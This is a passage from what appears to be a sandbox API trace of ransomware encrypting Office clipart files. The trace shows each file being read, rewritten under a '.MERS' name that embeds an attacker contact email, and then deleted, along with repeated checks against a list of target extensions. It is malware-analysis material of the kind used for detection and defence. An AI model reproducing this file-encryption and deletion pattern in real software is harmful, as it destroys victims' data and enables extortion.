"c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0269.369] GetLastError () returned 0x0 [0269.369] ReadFile (in: hFile=0x404, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x212c, lpOverlapped=0x0) returned 1 [0269.437] WriteFile (in: hFile=0x3e4, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x2130, lpOverlapped=0x0) returned 1 [0269.438] ReadFile (in: hFile=0x404, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0269.438] WriteFile (in: hFile=0x3e4, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0269.438] SetEndOfFile (hFile=0x3e4) returned 1 [0269.438] CloseHandle (hObject=0x3e4) returned 1 [0269.438] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0269.438] SetEndOfFile (hFile=0x404) returned 1 [0269.440] CloseHandle (hObject=0x404) returned 1 [0269.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0269.440] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 1 [0269.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0269.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0269.440] lstrlenW (lpString=".doc") returned 4 [0269.440] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.440] lstrlenW (lpString=".docx") returned 5 [0269.440] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.440] lstrlenW (lpString=".pdf") returned 4 [0269.440] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.440] lstrlenW (lpString=".xls") returned 4 [0269.440] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.441] lstrlenW (lpString=".xlsx") returned 5 [0269.441] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.441] lstrlenW (lpString=".ppt") returned 4 [0269.441] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0269.441] lstrlenW (lpString=".zip") returned 4 [0269.441] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.441] lstrlenW (lpString=".rar") returned 4 [0269.441] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.441] lstrlenW (lpString=".bz2") returned 4 [0269.441] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.441] lstrlenW (lpString=".7z") returned 3 [0269.441] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0269.441] lstrlenW (lpString=".dbf") returned 4 [0269.441] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0269.441] lstrlenW (lpString=".1cd") returned 4 [0269.441] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0269.441] lstrlenW (lpString=".jpg") returned 4 [0269.441] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0269.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0269.441] lstrlenW (lpString=".doc") returned 4 [0269.442] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.442] lstrlenW (lpString=".docx") returned 5 [0269.442] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.442] lstrlenW (lpString=".pdf") returned 4 [0269.442] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.442] lstrlenW (lpString=".xls") returned 4 [0269.442] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.442] lstrlenW (lpString=".xlsx") returned 5 [0269.442] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.442] lstrlenW (lpString=".ppt") returned 4 [0269.442] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0269.442] lstrlenW (lpString=".zip") returned 4 [0269.442] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.442] lstrlenW (lpString=".rar") returned 4 [0269.442] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.442] lstrlenW (lpString=".bz2") returned 4 [0269.442] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.442] lstrlenW (lpString=".7z") returned 3 [0269.442] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0269.442] lstrlenW (lpString=".dbf") returned 4 [0269.442] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0269.442] lstrlenW (lpString=".1cd") returned 4 [0269.442] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0269.442] lstrlenW (lpString=".jpg") returned 4 [0269.442] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.442] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0269.442] lstrlenW (lpString="AN04332_.WMF") returned 12 [0269.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0269.565] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=4296) returned 1 [0269.565] CloseHandle (hObject=0x3ec) returned 1 [0269.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 0x20 [0269.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0269.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0269.631] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0269.631] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0269.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0269.631] GetLastError () returned 0x0 [0269.631] ReadFile (in: hFile=0x3ec, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x10c8, lpOverlapped=0x0) returned 1 [0269.739] WriteFile (in: hFile=0x3f0, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x10d0, lpOverlapped=0x0) returned 1 [0269.741] ReadFile (in: hFile=0x3ec, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0269.741] WriteFile (in: hFile=0x3f0, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0269.741] SetEndOfFile (hFile=0x3f0) returned 1 [0269.742] CloseHandle (hObject=0x3f0) returned 1 [0269.742] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0269.742] SetEndOfFile (hFile=0x3ec) returned 1 [0270.418] CloseHandle (hObject=0x3ec) returned 1 [0270.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0270.643] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 1 [0270.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0270.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0270.643] lstrlenW (lpString=".doc") returned 4 [0270.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.643] lstrlenW (lpString=".docx") returned 5 [0270.643] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.643] lstrlenW (lpString=".pdf") returned 4 [0270.643] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.643] lstrlenW (lpString=".xls") returned 4 [0270.643] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.643] lstrlenW (lpString=".xlsx") returned 5 [0270.644] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.644] lstrlenW (lpString=".ppt") returned 4 [0270.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0270.644] lstrlenW (lpString=".zip") returned 4 [0270.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.644] lstrlenW (lpString=".rar") returned 4 [0270.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.644] lstrlenW (lpString=".bz2") returned 4 [0270.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.644] lstrlenW (lpString=".7z") returned 3 [0270.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0270.644] lstrlenW (lpString=".dbf") returned 4 [0270.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0270.644] lstrlenW (lpString=".1cd") returned 4 [0270.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0270.644] lstrlenW (lpString=".jpg") returned 4 [0270.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0270.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0270.644] lstrlenW (lpString=".doc") returned 4 [0270.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.644] lstrlenW (lpString=".docx") returned 5 [0270.644] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.644] lstrlenW (lpString=".pdf") returned 4 [0270.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.644] lstrlenW (lpString=".xls") returned 4 [0270.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.644] lstrlenW (lpString=".xlsx") returned 5 [0270.644] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.644] lstrlenW (lpString=".ppt") returned 4 [0270.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0270.645] lstrlenW (lpString=".zip") returned 4 [0270.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.645] lstrlenW (lpString=".rar") returned 4 [0270.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.645] lstrlenW (lpString=".bz2") returned 4 [0270.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.645] lstrlenW (lpString=".7z") returned 3 [0270.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0270.645] lstrlenW (lpString=".dbf") returned 4 [0270.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0270.645] lstrlenW (lpString=".1cd") returned 4 [0270.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0270.645] lstrlenW (lpString=".jpg") returned 4 [0270.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.645] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0270.645] lstrlenW (lpString="BD06102_.WMF") returned 12 [0270.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0270.646] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=16112) returned 1 [0270.646] CloseHandle (hObject=0x3d0) returned 1 [0270.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x20 [0270.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0270.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0270.646] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0270.646] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0270.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0270.646] GetLastError () returned 0x0 [0270.646] ReadFile (in: hFile=0x3d0, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x3ef0, lpOverlapped=0x0) returned 1 [0270.648] WriteFile (in: hFile=0x3f4, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x3f00, lpOverlapped=0x0) returned 1 [0270.649] ReadFile (in: hFile=0x3d0, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0270.649] WriteFile (in: hFile=0x3f4, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.649] SetEndOfFile (hFile=0x3f4) returned 1 [0270.649] CloseHandle (hObject=0x3f4) returned 1 [0270.649] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0270.649] SetEndOfFile (hFile=0x3d0) returned 1 [0270.651] CloseHandle (hObject=0x3d0) returned 1 [0270.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0270.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 1 [0270.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0270.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0270.651] lstrlenW (lpString=".doc") returned 4 [0270.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.651] lstrlenW (lpString=".docx") returned 5 [0270.651] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.651] lstrlenW (lpString=".pdf") returned 4 [0270.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.651] lstrlenW (lpString=".xls") returned 4 [0270.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.651] lstrlenW (lpString=".xlsx") returned 5 [0270.651] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.651] lstrlenW (lpString=".ppt") returned 4 [0270.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0270.651] lstrlenW (lpString=".zip") returned 4 [0270.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.651] lstrlenW (lpString=".rar") returned 4 [0270.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.651] lstrlenW (lpString=".bz2") returned 4 [0270.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.652] lstrlenW (lpString=".7z") returned 3 [0270.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0270.652] lstrlenW (lpString=".dbf") returned 4 [0270.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0270.652] lstrlenW (lpString=".1cd") returned 4 [0270.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0270.652] lstrlenW (lpString=".jpg") returned 4 [0270.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0270.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0270.652] lstrlenW (lpString=".doc") returned 4 [0270.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.652] lstrlenW (lpString=".docx") returned 5 [0270.652] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.652] lstrlenW (lpString=".pdf") returned 4 [0270.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.652] lstrlenW (lpString=".xls") returned 4 [0270.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.652] lstrlenW (lpString=".xlsx") returned 5 [0270.652] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.652] lstrlenW (lpString=".ppt") returned 4 [0270.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0270.652] lstrlenW (lpString=".zip") returned 4 [0270.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.652] lstrlenW (lpString=".rar") returned 4 [0270.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.652] lstrlenW (lpString=".bz2") returned 4 [0270.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.652] lstrlenW (lpString=".7z") returned 3 [0270.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0270.653] lstrlenW (lpString=".dbf") returned 4 [0270.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0270.653] lstrlenW (lpString=".1cd") returned 4 [0270.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0270.653] lstrlenW (lpString=".jpg") returned 4 [0270.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.653] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0270.653] lstrlenW (lpString="BD06200_.WMF") returned 12 [0270.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0270.654] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=16676) returned 1 [0270.654] CloseHandle (hObject=0x3d0) returned 1 [0270.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x20 [0270.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0270.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0270.654] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0270.654] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0270.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0270.655] GetLastError () returned 0x0 [0270.655] ReadFile (in: hFile=0x3d0, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x4124, lpOverlapped=0x0) returned 1 [0270.775] WriteFile (in: hFile=0x3f4, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, 